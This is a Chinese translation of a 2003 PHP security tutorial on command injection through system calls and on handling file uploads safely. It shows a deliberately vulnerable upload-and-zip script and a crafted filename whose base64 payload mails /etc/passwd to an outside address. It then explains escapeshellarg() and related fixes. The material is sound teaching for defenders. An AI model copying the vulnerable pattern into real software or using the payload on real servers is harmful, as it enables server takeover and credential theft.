PHP安全(2) 原作:John Coggeshall 08/28/2003 原文:http://www.onlamp.com/pub/a/php/2003/08/28/php_foundations.html 歡迎回到PHP Foundations。在我的上一篇文章中,我向你們介紹了在PHP中可能危及安全的做法,繼續了我在養成良好的PHP編程習慣方面的系列文章。 這篇文章將用更多的潛在安全性漏洞和修複它們的工具和方法的執行個體來繼續我們的討論。今天我將開始談及一個在PHP開發中很嚴重的潛在安全性漏洞——編寫底層作業系統調用的程式。 在PHP中執行系統調用 在PHP中有很多方法可以執行系統調用。 比如,system(), exec(), passthru(), popen()和 反單引號(`)操作符都允許你在程式中執行系統調用。如果不適當的使用上邊這些函數將會為惡意使用者在你的伺服器上執行系統命令開啟大門。像在訪問檔案時,絕大多數情況下,安全性漏洞發生在由於不可靠的外部輸入導致的系統命令執行。 使用系統調用的一個例子程式 考慮一個處理http檔案上傳的程式,它使用zip程式來壓縮檔,然後把它移動到指定的目錄(預設為/usr/local/archives/)。代碼如下: <?php $zip = "/usr/bin/zip"; $store_path = "/usr/local/archives/"; if (isset($_FILES['file'])) { $tmp_name = $_FILES['file']['tmp_name']; $cmp_name = dirname($_FILES['file']['tmp_name']) . "/{$_FILES['file']['name']}.zip"; $filename = basename($cmp_name); if (file_exists($tmp_name)) { $systemcall = "$zip $cmp_name $tmp_name"; $output = `$systemcall`; if (file_exists($cmp_name)) { $savepath = $store_path.$filename; rename($cmp_name, $savepath); } } } ?> <form enctype="multipart/form-data" action="<? php echo $_SERVER['PHP_SELF']; ?>" method="POST"> <input type="HIDDEN" name="MAX_FILE_SIZE" value="1048576"> File to compress: <input name="file" type="file"><br /> <input type="submit" value="Compress File"> </form> 雖然這段程式看起來相當簡單易懂,但是惡意使用者卻可以通過一些方法來利用它。最嚴重的安全問題存在於我們執行了壓縮命令(通過`操作符),在下邊的行中可以清楚的看到這點: if (isset($_FILES['file'])) { $tmp_name = $_FILES['file']['tmp_name']; $cmp_name = dirname($_FILES['file']['tmp_name']) . "/{$_FILES['file']['name']}.zip"; $filename = basename($cmp_name); if (file_exists($tmp_name)) { $systemcall = "$zip $cmp_name $tmp_name"; $output = `$systemcall`; ... 欺騙程式執行任意shell命令 雖然這段代碼看起來相當安全,它卻有使任何有檔案上傳許可權的使用者執行任意shell命令的潛在危險! 準確的說,這個安全性漏洞來自對$cmp_name變數的賦值。在這裡,我們希望壓縮後的檔案使用從客戶機上傳時的檔案名稱(帶有 .zip副檔名)。我們用到了$_FILES['file']['name'](它包含了上傳檔案在客戶機時的檔案名稱)。 在這樣的情況下,惡意使用者完全可以通過上傳一個含對底層作業系統有特殊意義字元的檔案來達到自己的目的。舉個例子,如果使用者按照下邊的形式建立一個空檔案會怎麼樣?(UNIX shell提示符下) [user@localhost]# touch ";php -r '/$code=base64_decode(// /"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==///"); system(/$code);';" 這個命令將建立一個名字如下的檔案: ;php -r '$code=base64_decode( /"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==/"); system($code);'; 看起來很奇怪?讓我們來看看這個“檔案名稱”,我們發現它很像使CLI版本的PHP執行如下代碼的命令: <?php $code=base64_decode( /"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==/"); system($code); ?> 如果你出於好奇而顯示$code變數的內容,就會發現它包含了mail baduser@somewhere.com < /etc/passwd。如果使用者把這個檔案傳給程式,接著PHP執行系統調用來壓縮檔,PHP實際上將執行如下語句: /usr/bin/zip /tmp/;php -r '$code=base64_decode( /"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==/"); system($code);';.zip /tmp/phpY4iatI 讓人吃驚的,上邊的命令不是一個語句而是3個!由於UNIX shell 把分號(;)解釋為一個shell命令的結束和另一命令的開始,除了分號在在引號中時,PHP的system()實際上將如下執行: [user@localhost]# /usr/bin/zip /tmp/ [user@localhost]# php -r '$code=base64_decode( /"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==/"); system($code);' [user@localhost]# .zip /tmp/phpY4iatI 如你所見,這個看起來無害的PHP程式突然變成執行任意shell命令和其他PHP程式的後門。雖然這個例子只會在路徑下有CLI版本的PHP的系統上有效,但是用這種技術可以通過其他的方法來達到同樣的效果。 對抗系統調用攻擊 這裡的關鍵仍然是,來自使用者的輸入,不管內容如何,都不應該相信!問題仍然是如何在使用系統調用時(除了根本不使用它們)避免類似的情況出現。為了對抗這種類型的攻擊,PHP提供了兩個函數,escapeshellarg() 和 escapeshellcmd()。 escapeshellarg()函數是為了從用作系統命令的參數的使用者輸入(在我們的例子中,是zip命令)中移出含有潛在危險的字元而設計的。這個函數的文法如下: escapeshellarg($string) $string所在處是用於過濾的輸入,傳回值是過濾後的字元。執行時,這個函數將在字元兩邊添加單引號,並轉義原來字串中的單引號(在其前邊加上/)。在我們的常式中,如果我們在執行系統命令之前加上這些行: $cmp_name = escapeshellarg($cmp_name); $tmp_name = escapeshellarg($tmp_name); 我們就能通過確保傳遞給系統調用的參數已經處理,是一個沒有其他意圖的使用者輸入,以規避這樣的安全風險。 escapeshellcmd()和escapeshellarg()類似,只是它只轉義對底層作業系統有特殊意義的字元。和escapeshellarg()不同,escapeshellcmd()不會處理內容中的空白欄框。舉個執行個體,當使用escapeshellcmd()轉義時,字元 $string = "'hello, world!';evilcommand" 將變為: /'hello, world/'/;evilcommand 如果這個字串用作系統調用的參數它將仍然不能得到正確的結果,因為shell將會把它分別解釋為兩個分離的參數: /'hello 和 world/'/;evilcommand。如果使用者輸入用於系統調用的參數列表部分,escapeshellarg()是一個更好的選擇。 保護上傳的檔案 在整篇文章中,我一直只著重講系統調用如何被惡意使用者劫持以產生我們不希望結果。 但是,這裡還有另外一個潛在的安全風險值得提到。再看到我們的常式,把你的注意力集中在下邊的行上: $tmp_name = $_FILES['file']['tmp_name']; $cmp_name = dirname($_FILES['file']['tmp_name']) . "/{$_FILES['file']['name']}.zip"; $filename = basename($cmp_name); if (file_exists($tmp_name)) { 上邊片斷中的程式碼導致的一個潛在安全風險是,最後一行我們判斷上傳的檔案是否實際存在(以臨時檔案名稱$tmp_name存在)。 這個安全風險並不來自於PHP自身,而在於儲存在$tmp_name中的檔案名稱實際上根本不是一個檔案,而是指向惡意使用者希望訪問的檔案,比如,/etc/passwd。 為了防止這樣的情況發生,PHP提供了is_uploaded_file()函數,它和file_exists()一樣,但是它還提供檔案是否真的從客戶機上上傳的檢查。 在絕大多數情況下,你將需要移動上傳的檔案,PHP提供了move_uploaded_file()函數,來配合is_uploaded_file()。這個函數和rename()一樣用於移動檔案,只是它會在執行前自動檢查以確保被移動的檔案是上傳的檔案。move_uploaded_file()的文法如下: move_uploaded_file($filename, $destination); 在執行時,函數將移動上傳檔案$filename到目的地$destination並返回一個布爾值來標誌操作是否成功。 註: John Coggeshall 是一位PHP顧問和作者。從他開始為PHP不眠已經5年左右了。 |